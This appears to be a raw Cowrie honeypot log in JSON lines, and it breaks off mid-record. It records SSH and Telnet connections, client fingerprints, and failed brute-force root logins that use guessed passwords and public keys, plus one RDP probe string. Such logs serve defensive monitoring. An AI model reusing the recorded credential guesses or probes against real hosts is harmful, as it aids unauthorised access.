{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:25:44.049595Z","src_ip":"122.166.167.154","session":"6c9b038a2f49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":14.291039228439331,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:25:44.996516Z","src_ip":"152.42.224.71","session":"00a9d6c8116d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@0101","message":"login attempt [root/root@0101] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:25:45.139062Z","src_ip":"122.166.167.154","session":"6c9b038a2f49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.68683099746704,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:25:45.523457Z","src_ip":"152.42.224.71","session":"ea1969e88544","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:25:46.395324Z","src_ip":"122.166.167.154","session":"6c9b038a2f49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.95249342918396,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:25:57.936572Z","src_ip":"152.42.224.71","session":"2af6a8abc967","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":47096,"dst_ip":"10.17.0.5","dst_port":22,"session":"4679966e6b28","protocol":"ssh","message":"New connection: 109.172.54.111:47096 (10.17.0.5:22) [session: 4679966e6b28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:25:58.277355Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:25:58.347223Z","src_ip":"109.172.54.111","session":"4679966e6b28","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:25:58.444522Z","src_ip":"109.172.54.111","session":"4679966e6b28","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"19951995","message":"login attempt [root/19951995] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:25:58.803785Z","src_ip":"109.172.54.111","session":"4679966e6b28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:25:59.914939Z","src_ip":"109.172.54.111","session":"4679966e6b28","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42354,"dst_ip":"10.17.0.5","dst_port":23,"session":"4fa79c7ebfa3","protocol":"telnet","message":"New connection: 152.42.224.71:42354 (10.17.0.5:23) [session: 4fa79c7ebfa3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:26:06.392403Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42366,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e89d40edcb1","protocol":"telnet","message":"New connection: 152.42.224.71:42366 (10.17.0.5:23) [session: 6e89d40edcb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:26:07.036741Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42378,"dst_ip":"10.17.0.5","dst_port":23,"session":"bac314f0a747","protocol":"telnet","message":"New connection: 152.42.224.71:42378 (10.17.0.5:23) [session: bac314f0a747]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:26:09.418118Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42384,"dst_ip":"10.17.0.5","dst_port":23,"session":"6c2b12425f87","protocol":"telnet","message":"New connection: 152.42.224.71:42384 (10.17.0.5:23) [session: 6c2b12425f87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:26:12.287905Z"}
{"eventid":"cowrie.session.closed","duration":88.22229146957397,"message":"Connection lost after 88 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:26:16.120485Z","src_ip":"152.42.224.71","session":"51d15a409f06","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.5.244","src_port":35250,"dst_ip":"10.17.0.5","dst_port":22,"session":"c2d84f15783f","protocol":"ssh","message":"New connection: 65.60.5.244:35250 (10.17.0.5:22) [session: c2d84f15783f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:26:16.310838Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:26:16.324522Z","src_ip":"65.60.5.244","session":"c2d84f15783f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:26:16.360064Z","src_ip":"65.60.5.244","session":"c2d84f15783f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"43:fd:9d:7b:75:87:86:34:58:9c:09:f7:5a:4e:68:1a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDU1jp5aAMsl0pFqtXij7WfacAF0j5qMxpQbd+LO+krnVhHr1rRbDsdQFxtlcBZOsg61Bjn6dDV3vvjiAXUODZuv/r2MUsK+4NL/zz1lZM2UGEG6eq/Hf22VOY8DQIAtpQhcd+S5MLeCGU5s8tJAqwcAQkXzUXLZ/iPKaaW2xhgkfFypJFKUkrCurx5vKT+W3ebkONzOjpCPBw4SCggkStcSPtjhgJ4wOkMYw04LKp9w2Bswvh7sc4H5OGnB8HWwHMvOJxk7ds/ky+UcbDSvNC+chtot7u+ST/Jm6FzOdvxPt+zkwSN7OeSEewBy7MsoLKjl1Nfe7scCOaH1PNURxqD","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 43:fd:9d:7b:75:87:86:34:58:9c:09:f7:5a:4e:68:1a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:26:16.493385Z","src_ip":"65.60.5.244","session":"c2d84f15783f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"43:fd:9d:7b:75:87:86:34:58:9c:09:f7:5a:4e:68:1a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDU1jp5aAMsl0pFqtXij7WfacAF0j5qMxpQbd+LO+krnVhHr1rRbDsdQFxtlcBZOsg61Bjn6dDV3vvjiAXUODZuv/r2MUsK+4NL/zz1lZM2UGEG6eq/Hf22VOY8DQIAtpQhcd+S5MLeCGU5s8tJAqwcAQkXzUXLZ/iPKaaW2xhgkfFypJFKUkrCurx5vKT+W3ebkONzOjpCPBw4SCggkStcSPtjhgJ4wOkMYw04LKp9w2Bswvh7sc4H5OGnB8HWwHMvOJxk7ds/ky+UcbDSvNC+chtot7u+ST/Jm6FzOdvxPt+zkwSN7OeSEewBy7MsoLKjl1Nfe7scCOaH1PNURxqD","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:26:16.502957Z","src_ip":"65.60.5.244","session":"c2d84f15783f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4a:72:f3:5a:40:18:8c:be:a6:e6:67:47:7e:0c:53:3c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7W9WNVti1wI4m5k8html0mpmMyQGQRYnoOesgkxGEd8/iO//AQt2Lp92VjfMaRk7D1AykvRLKQIqCCJFhcRbwRXyT5V/cG8fhel8q1wqCXYqQR1zIGvHOVBc+GCLK9xrp40NHouB2oqLHP/SU62/3hzNo1jKnN9BTETj7njCzZcBkUI8iHEyhox22CZ3OvA2KS98PFu9wtOuTgEq082npLaU44i6bbNcEuA3oZOc2O2jIMHLhBhV9CSA9UUzJBFdabAkVWtvBzKqByCGL4YRHAbZ2UQEiXn6nBnc1IB3urmFKrrKT5iUS3CFqZnOCGGUEC+oUGACPZhJLBndJvAGN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4a:72:f3:5a:40:18:8c:be:a6:e6:67:47:7e:0c:53:3c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:26:16.554452Z","src_ip":"65.60.5.244","session":"c2d84f15783f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4a:72:f3:5a:40:18:8c:be:a6:e6:67:47:7e:0c:53:3c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7W9WNVti1wI4m5k8html0mpmMyQGQRYnoOesgkxGEd8/iO//AQt2Lp92VjfMaRk7D1AykvRLKQIqCCJFhcRbwRXyT5V/cG8fhel8q1wqCXYqQR1zIGvHOVBc+GCLK9xrp40NHouB2oqLHP/SU62/3hzNo1jKnN9BTETj7njCzZcBkUI8iHEyhox22CZ3OvA2KS98PFu9wtOuTgEq082npLaU44i6bbNcEuA3oZOc2O2jIMHLhBhV9CSA9UUzJBFdabAkVWtvBzKqByCGL4YRHAbZ2UQEiXn6nBnc1IB3urmFKrrKT5iUS3CFqZnOCGGUEC+oUGACPZhJLBndJvAGN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:26:16.564578Z","src_ip":"65.60.5.244","session":"c2d84f15783f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":62872,"dst_ip":"10.17.0.5","dst_port":22,"session":"ae9c7e22ac8a","protocol":"ssh","message":"New connection: 167.172.81.52:62872 (10.17.0.5:22) [session: ae9c7e22ac8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:26:16.600491Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:26:16.621094Z","src_ip":"167.172.81.52","session":"ae9c7e22ac8a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:26:16.629576Z","src_ip":"167.172.81.52","session":"ae9c7e22ac8a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"96:60:04:22:bf:7a:a4:a3:a5:98:03:77:f5:14:b7:9c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/Yjg5HxSr2vU8i0QDvaAO/bMrjP2a8sE3hemnN9FMQQYadXUz+bo2nQ/n1zDZreMf8M1471RiZyCIxigGBR8QtmgPfVyPL7kzJ1XWoMr3nVcUqE24tvNTJ9yVgtB4OS1iai48ZHrSajLRsUTQ98SNA8yUleTGhKHQdqkc2Ysx9RmFFWkwboJwFmgpcLjS32rE7B62ffOxcQ6pmA1lnGe2np0tUACKnNLmm1VVGKkRqZEivIO5/K3beVVwdoO62rO16ifDXzAIZFZkXJYrvJOnHE4ZJz4mMqbH+R8dGbQy0LJ6ia10rNkQXxnSXjckSR/EimCVkBh9H5mEPsM/HT5x","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 96:60:04:22:bf:7a:a4:a3:a5:98:03:77:f5:14:b7:9c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:26:16.640085Z","src_ip":"65.60.5.244","session":"c2d84f15783f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"96:60:04:22:bf:7a:a4:a3:a5:98:03:77:f5:14:b7:9c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/Yjg5HxSr2vU8i0QDvaAO/bMrjP2a8sE3hemnN9FMQQYadXUz+bo2nQ/n1zDZreMf8M1471RiZyCIxigGBR8QtmgPfVyPL7kzJ1XWoMr3nVcUqE24tvNTJ9yVgtB4OS1iai48ZHrSajLRsUTQ98SNA8yUleTGhKHQdqkc2Ysx9RmFFWkwboJwFmgpcLjS32rE7B62ffOxcQ6pmA1lnGe2np0tUACKnNLmm1VVGKkRqZEivIO5/K3beVVwdoO62rO16ifDXzAIZFZkXJYrvJOnHE4ZJz4mMqbH+R8dGbQy0LJ6ia10rNkQXxnSXjckSR/EimCVkBh9H5mEPsM/HT5x","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:26:16.650306Z","src_ip":"65.60.5.244","session":"c2d84f15783f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"50:58:03:9f:77:55:5f:aa:57:b4:b4:08:60:86:52:33","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAy3ruAQMFBW39EXw0rsnkV/NRAM7/RdoshaDudNtPe0TpI8G5YrKoTV66tzmmh6g/GTcgJ4H6574qk9Po7kgg0RzGN81Jd//sQL/oGQgVYp1Ijt0/3/i8vqTbAAqmnBrTKV5JLr9DV1g5jLT5uZ7rw+F40fl91j8qrjVyyioIpiuD03GJvWn9mZfl6R3NlHZ9zjpzORdOPTGdJ7LjO1P6aiKkRlH/NWuXyOmWffk8fnd4YnuEBxolj6xMPrGMeO5KQuxUa8nfYWhglc8sAUtqgS+CoBkw/9qs1yzMuAHpG6mPdEoLjuNMlHmixSQCH+IBo0VuG69dgfKp0zJgQKWOEQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 50:58:03:9f:77:55:5f:aa:57:b4:b4:08:60:86:52:33","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:26:16.697384Z","src_ip":"65.60.5.244","session":"c2d84f15783f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"50:58:03:9f:77:55:5f:aa:57:b4:b4:08:60:86:52:33","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAy3ruAQMFBW39EXw0rsnkV/NRAM7/RdoshaDudNtPe0TpI8G5YrKoTV66tzmmh6g/GTcgJ4H6574qk9Po7kgg0RzGN81Jd//sQL/oGQgVYp1Ijt0/3/i8vqTbAAqmnBrTKV5JLr9DV1g5jLT5uZ7rw+F40fl91j8qrjVyyioIpiuD03GJvWn9mZfl6R3NlHZ9zjpzORdOPTGdJ7LjO1P6aiKkRlH/NWuXyOmWffk8fnd4YnuEBxolj6xMPrGMeO5KQuxUa8nfYWhglc8sAUtqgS+CoBkw/9qs1yzMuAHpG6mPdEoLjuNMlHmixSQCH+IBo0VuG69dgfKp0zJgQKWOEQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:26:16.704680Z","src_ip":"65.60.5.244","session":"c2d84f15783f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e7:88:00:b0:8b:b0:6b:03:90:aa:e4:20:8d:17:6c:8b","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKaKSDE8vMDhElTPjqQJxOZuHPQoSaeyv3nxH9Rickd5","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint e7:88:00:b0:8b:b0:6b:03:90:aa:e4:20:8d:17:6c:8b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:26:16.745731Z","src_ip":"65.60.5.244","session":"c2d84f15783f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e7:88:00:b0:8b:b0:6b:03:90:aa:e4:20:8d:17:6c:8b","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKaKSDE8vMDhElTPjqQJxOZuHPQoSaeyv3nxH9Rickd5","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:26:16.755677Z","src_ip":"65.60.5.244","session":"c2d84f15783f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:26:16.795228Z","src_ip":"65.60.5.244","session":"c2d84f15783f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00332570075989,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:26:18.818865Z","src_ip":"152.42.224.71","session":"d6bd5e3f991b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41208,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ecb3e5a3d99","protocol":"telnet","message":"New connection: 152.42.224.71:41208 (10.17.0.5:23) [session: 3ecb3e5a3d99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:26:19.129983Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41212,"dst_ip":"10.17.0.5","dst_port":23,"session":"016384633a49","protocol":"telnet","message":"New connection: 152.42.224.71:41212 (10.17.0.5:23) [session: 016384633a49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:26:21.721849Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55732,"dst_ip":"10.17.0.5","dst_port":23,"session":"62288c382efd","protocol":"telnet","message":"New connection: 152.42.224.71:55732 (10.17.0.5:23) [session: 62288c382efd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:26:27.553518Z"}
{"eventid":"cowrie.session.closed","duration":48.31292986869812,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:26:32.280118Z","src_ip":"152.42.224.71","session":"3c61b5be55d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":110.27598762512207,"message":"Connection lost after 110 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:26:35.319129Z","src_ip":"152.42.224.71","session":"4e46714b0282","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":29.30467700958252,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:26:35.696761Z","src_ip":"152.42.224.71","session":"4fa79c7ebfa3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":16.765101432800293,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:26:38.486830Z","src_ip":"152.42.224.71","session":"016384633a49","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":56784,"dst_ip":"159.203.135.109","dst_port":22,"session":"8d19d7113980","protocol":"ssh","message":"New connection: 62.133.63.178:56784 (159.203.135.109:22) [session: 8d19d7113980]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:26:41.736719Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:26:41.743580Z","src_ip":"62.133.63.178","session":"8d19d7113980","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecds